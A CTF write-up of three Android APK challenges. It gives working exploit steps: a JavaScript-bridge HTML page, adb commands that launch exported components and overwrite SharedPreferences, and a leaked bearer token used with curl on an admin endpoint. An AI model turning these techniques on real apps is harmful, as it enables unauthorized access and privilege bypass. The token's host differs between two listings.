NahamCon Winter CTF 2025: Mobile Security Challenge Writeups

Welcome to my comprehensive writeups for the mobile security challenges from NahamCon Winter CTF 2025! This CTF featured some excellent Android APK reverse engineering challenges that tested our skills in static analysis, vulnerability identification, and mobile exploitation techniques.

Challenge 1: Frozen Gift

Category: Mobile Security
Difficulty: Medium
Description: Android APK reverse engineering challenge where we need to unlock the “Frost King” tier to access the ultimate prize.

Initial Analysis

Let’s start by extracting and analyzing the APK file:

# Extract the APK contents
unzip FrozenGift.apk -d extracted/

# Decompile using JADX for source code analysis
jadx -d decompiled/ FrozenGift.apk

Key Findings

After decompiling the APK, I discovered several interesting components:

1. Tier System (GiftTierManager.java)

The application implements a tier-based system:

Basic tier: “snowflake_basic” (default)
Premium tier: “frost_king” (our target)
Tier information is stored in SharedPreferences: frozen_gift_prefs.xml

2. Debug WebView Vulnerability (DebugGiftWebViewActivity.java)

The most critical finding was an exported debug activity with a JavaScript bridge:

public final class SnowGiftBridge {
    @JavascriptInterface
    public final void unlockPremiumGift(String couponCode) {
        if (Intrinsics.areEqual(couponCode, GiftTierManager.TIER_PREMIUM)) {
            giftTierManager.setTier(GiftTierManager.TIER_PREMIUM);
            // Shows "Premium tier unlocked: Frost King!"
        }
    }
}

3. Flag Provider (FlagProvider.java)

The flag is retrieved through a native method:

public final native String getFlag(String tier);

Vulnerability Analysis

The application has several critical security flaws:

Exported Debug Activity: DebugGiftWebViewActivity can be launched externally
JavaScript Bridge Exposure: The SnowGiftBridge.unlockPremiumGift() method is accessible via JavaScript
Weak Authentication: The “coupon code” is simply “frost_king” (the tier name itself)
No Server Validation: Tier information is stored locally without server-side verification

Exploitation

I used two different methods to exploit this vulnerability:

Method 1: JavaScript Bridge Exploit

First, I created an HTML file to trigger the JavaScript bridge:

<!DOCTYPE html>
<html>
<body>
    <script>
        function unlockFrostKing() {
            SnowGiftBridge.unlockPremiumGift('frost_king');
        }
        window.onload = unlockFrostKing;
    </script>
    <h1>Unlocking Frost King Tier...</h1>
</body>
</html>

Then executed the exploit:

# Push the exploit file to the device
adb push exploit.html /sdcard/exploit.html

# Launch the debug activity with our exploit
adb shell am start -n com.sehno.frozengift/.DebugGiftWebViewActivity \
    --es debugUrl "file:///sdcard/exploit.html"

Method 2: Direct SharedPreferences Manipulation

Alternatively, we can directly modify the app’s SharedPreferences:

# Modify the SharedPreferences file directly
adb shell "run-as com.sehno.frozengift sh -c 'echo \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" standalone=\\\"yes\\\" ?><map><string name=\\\"gift_tier\\\">frost_king</string></map>\" > /data/data/com.sehno.frozengift/shared_prefs/frozen_gift_prefs.xml'"

# Restart the application
adb shell am force-stop com.sehno.frozengift
adb shell am start -n com.sehno.frozengift/.MainActivity

Result

After successfully unlocking the Frost King tier, the flag was displayed in the app interface when accessing premium content.

Challenge 2: Magic Snowfall

Category: Mobile Security
Difficulty: Medium
Description: Android APK challenge requiring us to unlock the “Aurora VIP” tier to retrieve the flag.

Analysis

Following the same decompilation process:

# Extract and decompile
unzip MagicSnowfall.apk -d extracted/
jadx -d decompiled/ MagicSnowfall.apk

Key Vulnerability: Exported BroadcastReceiver

The main vulnerability lies in SnowRewardReceiver.java:

public static final String ACTION_SNOWFALL_REWARD = "com.krypton.winterbank.ACTION_SNOWFALL_REWARD";
private static final String WEAK_SECRET = "winter2025";

The vulnerable logic accepts external broadcast intents and uses a hardcoded secret:

String bonusTier = intent.getStringExtra(EXTRA_BONUS_TIER);
if (bonusTier != null && bonusTier.length() > 0) {
    rewardManager.setTier(bonusTier);
}

Exploitation

Method 1: ADB Broadcast Intent

adb shell am broadcast \
    -a "com.krypton.winterbank.ACTION_SNOWFALL_REWARD" \
    --es "secret_key" "winter2025" \
    --es "bonus_tier" "aurora_vip" \
    --ei "bonus_points" 10000

Method 2: SharedPreferences Manipulation

# Modify SharedPreferences directly
adb shell "run-as com.sehno.magicsnowfall sh -c 'echo \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" standalone=\\\"yes\\\" ?><map><string name=\\\"tier\\\">aurora_vip</string><int name=\\\"points\\\" value=\\\"10000\\\" /></map>\" > /data/data/com.sehno.magicsnowfall/shared_prefs/magic_snowfall_prefs.xml'"

# Restart app
adb shell am force-stop com.sehno.magicsnowfall
adb shell am start -n com.sehno.magicsnowfall/.MainActivity

Root Cause

The vulnerabilities stem from:

Exported BroadcastReceiver without proper access controls
Hardcoded authentication easily discovered through static analysis
Client-side tier validation with no server-side verification

Challenge 3: Dojo Help Center

Category: Mobile Security
Difficulty: Easy-Medium
Description: Analyze a mobile APK to find hardcoded credentials and access protected API endpoints.

Analysis Process

# Decompile the APK
jadx -d jadx_output dojo-helpcenter.apk

Finding Hardcoded Credentials

In the decompiled source code, I found hardcoded constants in Constants.java:

public class Constants {
    public static final String API_TOKEN = "ZedrlHPRBlgpmEVwB601owCiMEcIaYtn";
    public static final String BASE_URL = "https://g7uaa0gt50w5.ctfhub.io/";
    // ... other constants
}

Exploitation

Using the discovered hardcoded token, I accessed the protected admin endpoint:

curl -H "Authorization: Bearer ZedrlHPRBlgpmEVwB601owCiMEcIaYtn" \
     https://07duha560gy7.ctfhub.io/api/admin/internal

Flag: flag{3xp0s3d_Cr3ds_G03ssss_BrrRrr}

Security Lessons Learned

These challenges highlight several critical mobile security issues:

Common Vulnerabilities

Exported Components: Activities and BroadcastReceivers exported without proper access controls
Hardcoded Secrets: API tokens, passwords, and other sensitive data embedded in the APK
Client-Side Validation: Relying on client-side checks without server-side verification
Debug Code in Production: Debug activities and features left enabled in release builds

Mitigation Strategies

Remove Debug Code: Ensure debug activities and features are removed from production builds
Implement Server-Side Validation: Never trust client-side data; validate everything server-side
Secure Component Export: Only export components that need to be accessible externally
Proper Authentication: Use proper authentication mechanisms instead of hardcoded secrets
Code Obfuscation: While not foolproof, obfuscation can make reverse engineering more difficult

Tools and Techniques

Throughout these challenges, I used several essential tools:

JADX: For APK decompilation and source code analysis
ADB: For device interaction and exploitation
Static Analysis: Reading decompiled code to identify vulnerabilities
Dynamic Analysis: Testing exploits on running applications

Conclusion

The NahamCon Winter CTF 2025 mobile challenges provided excellent hands-on experience with Android security testing. These realistic scenarios demonstrate common vulnerabilities found in mobile applications and emphasize the importance of secure development practices.

The key takeaway is that mobile applications are just as vulnerable to traditional security issues as web applications, but they also introduce unique attack vectors through exported components, local storage, and the mobile platform’s security model.

These writeups are part of my NahamCon Winter CTF 2025 series. The challenges were well-designed and provided great learning opportunities for mobile security enthusiasts!

Challenge 1: Frozen Gift

Initial Analysis

Key Findings

1. Tier System (GiftTierManager.java)

2. Debug WebView Vulnerability (DebugGiftWebViewActivity.java)

3. Flag Provider (FlagProvider.java)

Vulnerability Analysis

Exploitation

Method 1: JavaScript Bridge Exploit

Method 2: Direct SharedPreferences Manipulation

Result

Challenge 2: Magic Snowfall

Analysis

Key Vulnerability: Exported BroadcastReceiver

Exploitation

Method 1: ADB Broadcast Intent

Method 2: SharedPreferences Manipulation

Root Cause

Challenge 3: Dojo Help Center

Analysis Process

Finding Hardcoded Credentials

Exploitation

Security Lessons Learned

Common Vulnerabilities

Mitigation Strategies

Tools and Techniques

Conclusion

Next reads

Binary Whisper: Beginner Binary Analysis Walkthrough

Advent of CTF 2025: Day 4 - The Elf's Wager

NahamCon Winter CTF 2025: Crypto Challenge Writeups

NahamCon Winter CTF 2025: Mobile Security Challenge Writeups

Next reads

Get posts by email

Achievement Unlocked!